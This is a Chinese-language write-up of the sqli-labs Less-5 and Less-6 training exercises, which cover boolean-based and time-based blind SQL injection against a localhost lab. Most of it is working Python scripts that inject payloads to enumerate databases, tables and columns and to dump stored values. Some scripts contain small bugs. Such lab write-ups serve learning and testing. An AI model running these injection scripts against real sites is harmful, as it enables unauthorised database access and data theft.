sqlilabs Less-5~Less-6 writeup

文章目录
  1. 1. Less-5
  2. 2. Less-6

注入啊注入~

Less-5


诶,我发现这界面配色还挺好看的(打死),有趣了,继续测试,发现加上一个单引号就能绕过。

1
http://localhost/sqli-labs-master/Less-5/?id=1' order by 3%23

测试出来还是3列,但是无法显列,怎么测试都只有You are in…….这一串字,所以只能是盲注了。
盲注分为以下三类:

1
2
3
Booleanbase(普通盲注)
Timebase(时间盲注)
Errorbase(基于报错的盲注)

下面介绍一些关于盲注的函数:

1
2
3
4
5
left(database(),1) 返回 database()的最左面 1 个字符
length(databse()) 返回数据库的长度
substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度
ascii() 将某个字符转换为 ascii 值
mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

所以这里写了一个脚本来跑数据库的长度

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
#coding=utf-8

import requests

main_url="http://localhost/sqli-labs-master/Less-5/?id=1' and length(database())="
for i in range(1,20):
url=main_url+str(i)+"%23"
r=requests.get(url)
if "You" in r.content:
print "The length of database is",i
break

跑出来当前的结果是数据库长度为8,下面该开始跑数据库名字了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import string
dataset = " abcdefghijklmnopqrstuvwxyz_"

def sendPayload(payload):
url = "http://localhost/sqli-labs-master/Less-5/?id=1' "+ payload
content = requests.get(url).text
return content

def get_db_length():
count = 1
while count:
payload = "and length(database())="
payload = payload + str(count) + "%23"
recv = sendPayload(payload)
if "You are in" in recv:
return count
else:
count += 1

def getdbName(length):
result=""
for k in range(length+1):
for j in dataset:
payload="and left(database(),"+str(k)+")='"+result+j+"'%23"
recv=sendPayload(payload)
if "You are in" in recv:
if j !=' ':
result+=j
print result
break
def main():
length = get_db_length()
print "the length of database is ",length
getdbName(length)

if __name__=="__main__":
main()

这里跑出来以后数据库名字是security。

写完以后参考了一下Chybeta师傅做法以后我发现可以不先跑出数据库的长度,而是先跑出数据库的数量,然后找到需要查询的表再进行查找注入(感觉有点像sqlmap的工作过程?),所以下面上脚本,可以跑出所有数据库的总数和名称。
这里放上Chybeta师傅的博客链接:

1
https://chybeta.github.io/2017/07/12/Sqli-Labs-Less5-6-writeup/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python 
#coding=utf-8

import requests
import string

chars="abcdefghijklmnopqrstuvwxyz_"

def send_data(payload):
url="http://localhost/sqli-labs-master/Less-5/?id=1' "+payload
r=requests.get(url).text
return r

def getdbNum():
cnt=1
while cnt:
payload="and (select count(*) from information_schema.schemata) ="
payload=payload+str(cnt)+"%23"
text=send_data(payload)
if "You are in" in text:
return cnt
else:
cnt+=1

def getdbName(dbNum):
for k in range(dbNum):
cnt=1
result=""
while cnt:
for j in chars:
payload="and substring((select schema_name from information_schema.schemata limit "+str(k)+",1),"+str(cnt)+",1)='"+j
text=send_data(payload)
if "You are in" in text:
if j != ' ':
result+=j
cnt+=1
else:
print result
cnt=0
break

def main():
dbNum=getdbNum()
print "The number of database is:",dbNum
getdbName(dbNum)

if __name__=="__main__":
main()

到这里可以说是走出了第一步,已经获取了数据库的名称,现在需要查出表的名称,这里需要使用ascii和substr这两个函数了。
获取完整表名有两个步骤:
①获取表的长度;
②利用ascii码获取单个表字符然后叠加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
#coding=utf-8

import requests
import string

def get_data(payload):
url="http://localhost/sqli-labs-master/Less-5/?id=1' "+payload
content=requests.get(url).text
return content

def get_table_length(i):
for j in range(0,20):
payload="and (select length(table_name) from information_schema.tables where table_schema=database() limit "+str(i)+",1)="+str(j)+"%23"
#print payload
recv=get_data(payload)
if "You are in" in recv:
#print j
return j

def get_TableName():
for i in range(0,20):
result=""
table_length=get_table_length(i)
if table_length is None:
break
#print table_length
for j in range(table_length+1):
for k in range(48,122):
payload="and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(i)+",1),"+str(j)+",1))="+str(k)+"%23"
recv=get_data(payload)
if "You are in" in recv:
result+=chr(k)
print result
break

def main():
get_TableName()

if __name__=="__main__":
main()


现在获取到表名:email,referer,uagent,user,所以毫无疑问,需要的用户名以及账号信息都在user表里面,所以下一步需要开始查列。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
#coding=utf-8

import requests
import string

def send_data(payload):
url="http://localhost/sqli-labs-master/Less-5/?id=1' "+payload
content=requests.get(url).text
return content

def get_column_length(i):
for j in range(0,30):
payload="and (select length(column_name) from information_schema.columns where table_name=0x75736572 limit "+str(i)+",1)="+str(j)+"%23"
recv=send_data(payload)
if "You are in" in recv:
print j
return j

def get_column_name():
for i in range(0,20):
result=""
column_length=get_column_length(i)
if column_length != None:
for j in range(column_length+1):
for k in range(48,122):
payload="and ascii(substr((select column_name from information_schema.columns where table_name=0x75736572 limit "+str(i)+",1),"+str(j)+",1))="+str(k)+"%23"
recv=send_data(payload)
if "You are in" in recv:
result+=chr(k)
print result
break

def main():
get_column_name()

if __name__=="__main__":
main()

查到需要的列以后我就把程序暂停了…OK,看图。

现在需要获取列的内容,不过昨天跑出来的列似乎有点问题,并且我测试的时候还提示我user这个表不存在,所以这里使用emails表的email_id来进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python 
#coding=utf-8

import requests
import string

def get_data(payload):
url="http://localhost/sqli-labs-master/Less-5/?id=1' "+payload
content=requests.get(url).text
return content

def get_dump_length(i):
for j in range(0,20):
payload="and (select length(email_id) from emails limit "+str(i)+",1)="+str(j)+"%23"
recv=get_data(payload)
if "You are in" in recv:
print payload
return j

def get_dump_name():
chars=".1234567890@abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(0,20):
result=""
dump_length=get_dump_length(i)
if dump_length != None:
for j in range(dump_length+1):
for k in chars:
payload="and ascii(substr((select email_id from emails limit "+str(i)+",1),"+str(j)+",1))="+str(ord(k))+"%23"
recv=get_data(payload)
if "You are in" in recv:
result+=k
#print result
break
print result

def main():
get_dump_name()

if __name__=="__main__":
main()


现在可以获取到相关列的内容,但是我觉得这样写,运行结果的时候耗费的时间有点长,所以我打算用多线程的方式来改进一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
#coding=utf-8

import requests
import string
import threading

def send_data(payload):
url="http://localhost/sqli-labs-master/Less-5/?id=1' "+payload
content=requests.get(url).text
return content

def get_dump_length(i):
payload="and (select length(email_id) from emails limit {0},1)={1}"
for j in range(0,20):
payload=payload.format(i,j)
recv=send_data(payload)
if "You are in" in recv:
print payload
return j

def get_dump():
chars=".1234567890@abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ"
payload="and ascii(substr((select email_id from emails limit {0},1),{1},1))={2}"
for i in range(0,20):
dump_length=get_dump_length(i)
result=""
if dump_length != None:
for j in range(dump_length+1):
for char in chars:
payload=payload.format(i,j,char)
recv=send_data(payload)
if "You are in" in recv:
result+=char
print result
break

def main():
threadNum=10
threads=[]
for i in range(threadNum):
t=threading.Thread(target=get_dump)
t.start()
threads.append(t)
for i in threads:
i.join()

if __name__=="__main__":
main()

这样大概能稍微快一些。

Less-6


首先是测试注入,加入单引号以后没有变化,但是测试双引号测试成功,所以这题使用双引号进行注入,同Less-5所有的脚本一样,所以这题还是盲注,Less-5使用的是布尔盲注,所以这道题我准备用时间盲注来做。
这里讲一下基于时间注入的相关语法:
①if()语句:
if(e1,e2,e3),如果e1为true,则执行e2,否则执行e3;
②sleep():
sleep(延迟时间),比如sleep(5),延迟5s;
③BENCHMARK():
BENCHMARK(count,expr),重复地执行表达式expr一共count次;
看的时候觉得BENCHMARK有点繁琐,所以后面就没有使用BENCHMARK。
首先我们使用延时注入来查询当前数据库的长度,if((),1,sleep(5)),意思就是如果当前数据库的长度为true,就直接返回结果,否则就延时5s。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
#coding=utf-8

import requests
import string

def send_data(payload):
url="http://localhost/sqli-labs-master/Less-6/?id=1%22 "+payload
recv=requests.get(url).text
return recv

def get_db_length():
for i in range(0,20):
payload="and if(length(database())="+str(i)+",1,sleep(1))%23"
#这里只需要对当前数据库进行测试
recv=send_data(payload)
if "You are in" in recv:
print "The length of database is ",i
return i

def get_db_name():
chars=".1234567890@abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result=""
db_length=get_db_length()
if db_length != None:
for j in range(db_length+1):
for char in chars:
payload="and if(ascii(substr(database(),"+str(j)+",1))="+str(ord(char))+",1,sleep(2))%23"
recv=send_data(payload)
if "You are in" in recv:
result+=char
#print result
break
print result

def main():
get_db_name()

if __name__=="__main__":
main()

由于延时的原因,这里出结果出得有点慢…大概耐心等一下?(撑脸)最后结果测试出数据库名称为security。
拿到数据库名称,下面的步骤就和Less-5一样了,所以下面就只写出表的注入过程了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
#coding=utf-8

import requests
import string

def send_data(payload):
url="http://localhost/sqli-labs-master/Less-6/?id=1%22 "+payload
recv=requests.get(url).text
return recv

def get_table_length(j):
for i in range(0,20):
payload="and if((select length(table_name) from information_schema.tables where table_schema=database() limit "+str(j)+",1)="+str(i)+",1,sleep(2))%23"
recv=send_data(payload)
if "You are in" in recv:
print "The length of table is ",i
return i

def get_db_name():
chars=".1234567890@abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(0,20):
result=""
db_length=get_table_length(i)
if db_length != None:
for j in range(db_length+1):
for char in chars:
payload="and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(i)+",1),"+str(j)+",1))="+str(ord(char))+",1,sleep(2))%23"
recv=send_data(payload)
if "You are in" in recv:
result+=char
#print result
break
print result

def main():
get_db_name()

if __name__=="__main__":
main()

后面的大同小异,但是写了这些脚本以后我发现…数据库的表是从1开始计算的,所以最后获取长度以后要+1处理。